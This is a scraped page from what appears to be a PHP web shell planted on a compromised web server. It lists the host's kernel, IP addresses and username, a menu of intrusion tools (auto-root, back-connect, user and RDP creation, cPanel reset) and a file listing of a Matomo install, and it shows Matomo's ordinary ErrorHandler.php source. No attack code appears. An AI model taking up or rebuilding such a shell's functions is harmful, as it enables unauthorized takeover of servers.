Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 52.15.233.83
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorHandler.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later */ namespace Piwik; use Piwik\Container\StaticContainer; use Piwik\Exception\ErrorException; use Psr\Log\LoggerInterface; /** * Piwik's error handler function. */ class ErrorHandler { private static $fatalErrorStackTrace = []; private static $lastError = ''; /** * Fatal errors in PHP do not leave behind backtraces, which can make it impossible to determine * the exact cause of one. We can, however, save a partial stack trace by remembering certain execution * points. This method and popFatalErrorBreadcrumb() are used for that purpose. * * To use this method, surround a function call w/ pushFatalErrorBreadcrumb() & popFatalErrorBreadcrumb() * like so: * * public function theMethodIWantToAppearInFatalErrorStackTraces() * { * try { * ErrorHandler::pushFatalErrorBreadcrumb(static::class); * * // ... * } finally { * ErrorHandler::popFatalErrorBreadcrumb(); * } * } * * If a fatal error occurs, theMethodIWantToAppearInFatalErrorStackTraces will appear in the stack trace, * if PIWIK_PRINT_ERROR_BACKTRACE is true. */ public static function pushFatalErrorBreadcrumb($className = null, $importantArgs = null) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, $limit = 2); $backtrace[1]['class'] = $className; // knowing the derived class name is far more useful $backtrace[1]['args'] = empty($importantArgs) ? [] : array_map('json_encode', $importantArgs); array_unshift(self::$fatalErrorStackTrace, $backtrace[1]); } public static function popFatalErrorBreadcrumb() { array_shift(self::$fatalErrorStackTrace); } public static function getFatalErrorPartialBacktrace() { $result = ''; foreach (self::$fatalErrorStackTrace as $index => $entry) { $function = $entry['function']; if (!empty($entry['class'])) { $function = $entry['class'] . $entry['type'] . $function; } $args = ''; if (!empty($entry['args'])) { $isFirst = true; foreach ($entry['args'] as $name => $value) { if ($isFirst) { $isFirst = false; } else { $args .= ', '; } $args .= $name . '=' . $value; } } $result .= sprintf("#%s %s(%s): %s(%s)\n", $index, $entry['file'], $entry['line'], $function, $args); } return $result; } /** * Returns a string description of a PHP error number. * * @param int $errno `E_ERROR`, `E_WARNING`, `E_PARSE`, etc. * @return string */ public static function getErrNoString($errno) { switch ($errno) { case E_ERROR: return "Error"; case E_WARNING: return "Warning"; case E_PARSE: return "Parse Error"; case E_NOTICE: return "Notice"; case E_CORE_ERROR: return "Core Error"; case E_CORE_WARNING: return "Core Warning"; case E_COMPILE_ERROR: return "Compile Error"; case E_COMPILE_WARNING: return "Compile Warning"; case E_USER_ERROR: return "User Error"; case E_USER_WARNING: return "User Warning"; case E_USER_NOTICE: return "User Notice"; case E_STRICT: return "Strict Notice"; case E_RECOVERABLE_ERROR: return "Recoverable Error"; case E_DEPRECATED: return "Deprecated"; case E_USER_DEPRECATED: return "User Deprecated"; default: return "Unknown error ($errno)"; } } public static function registerErrorHandler() { set_error_handler(array('Piwik\ErrorHandler', 'errorHandler')); } public static function errorHandler($errno, $errstr, $errfile, $errline) { self::$lastError = self::createLogMessage($errno, $errstr, $errfile, $errline); // if the error has been suppressed by the @ we don't handle the error if (!(error_reporting() & $errno)) { return; } switch ($errno) { case E_ERROR: case E_PARSE: case E_CORE_ERROR: case E_CORE_WARNING: case E_COMPILE_ERROR: case E_COMPILE_WARNING: case E_USER_ERROR: Common::sendResponseCode(500); // Convert the error to an exception with an HTML message $e = new \Exception(); $backtrace = \Piwik_ShouldPrintBackTraceWithMessage() ? $e->getTraceAsString() : ''; $message = self::getHtmlMessage($errno, $errstr, $errfile, $errline, $backtrace); throw new ErrorException($message, 0, $errno, $errfile, $errline); case E_WARNING: case E_NOTICE: case E_USER_WARNING: case E_USER_NOTICE: case E_STRICT: case E_RECOVERABLE_ERROR: case E_DEPRECATED: case E_USER_DEPRECATED: default: $context = array('trace' => debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 15)); try { StaticContainer::get(LoggerInterface::class)->warning( self::createLogMessage($errno, $errstr, $errfile, $errline), $context ); } catch (\Exception $ex) { // ignore (it's possible for this to happen if the StaticContainer hasn't been created yet) } break; } } public static function getLastError() { $lastError = error_get_last(); if (!empty($lastError['message'])) { return $lastError['message']; } return self::$lastError; } private static function createLogMessage($errno, $errstr, $errfile, $errline) { return sprintf( "%s(%d): %s - %s - Matomo " . (class_exists('Piwik\Version') ? Version::VERSION : '') . " - Please report this message in the Matomo forums: https://forum.matomo.org (please do a search first as it might have been reported already)", $errfile, $errline, ErrorHandler::getErrNoString($errno), $errstr ); } private static function getHtmlMessage($errno, $errstr, $errfile, $errline, $trace) { $trace = Log::$debugBacktraceForTests ?: $trace; $message = ErrorHandler::getErrNoString($errno) . ' - ' . $errstr; $html = "<p>There is an error. Please report the message (Matomo " . (class_exists('Piwik\Version') ? Version::VERSION : '') . ") and full backtrace in the <a target='_blank' rel='noreferrer noopener' href='https://forum.matomo.org'>Matomo forums</a> (please do a search first as it might have been reported already!).</p>"; $html .= "<p><strong>{$message}</strong> in <em>{$errfile}</em>"; $html .= " on line {$errline}</p>"; $html .= "Backtrace:<pre>"; $html .= str_replace("\n", "\n", $trace); $html .= "</pre>"; return $html; } }
Close